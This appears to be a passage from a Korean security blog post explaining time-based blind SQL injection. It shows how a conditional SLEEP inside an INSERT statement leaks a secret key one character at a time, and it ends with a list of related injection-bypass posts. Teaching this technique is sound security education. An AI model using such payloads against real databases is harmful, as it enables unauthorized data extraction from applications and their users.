그래서 참일때, sleep(x)을 걸고, 요청을 보내서 response가 x초 이후에 도착했다면, True라고 판단하면 됩니다.
물론, 평소의 response가 오기까지 얼마나 걸리는지 알아두고, 적당한 x값을 넣어야겠죠.
그리고 이 방법은 Insert문에서도 사용이 가능합니다.
insert into ~~ (c1, c2, c3) values (~,~,if(substr((select key from key_table),1,1) = 'a', SLEEP(4), 1));
대충 이런식으로, 인젝션이 가능합니다.
'Computer Security > Web' 카테고리의 다른 글
XSS subdomain escape wirte up (on Dropbox) (0) | 2015.05.05 |
---|---|
SQL injection addslashes, utf-8 변환시 우회법 (4) | 2013.01.21 |
LPAD,bin,ascii를 이용한 효과적인 Blind SQL Injection (3) | 2013.01.15 |
Time-based Blind Injection (0) | 2013.01.15 |
MySQL Injection에서 LIMIT, quote(따옴표) 우회법 (0) | 2013.01.15 |
SQL Blind Injection (0) | 2013.01.15 |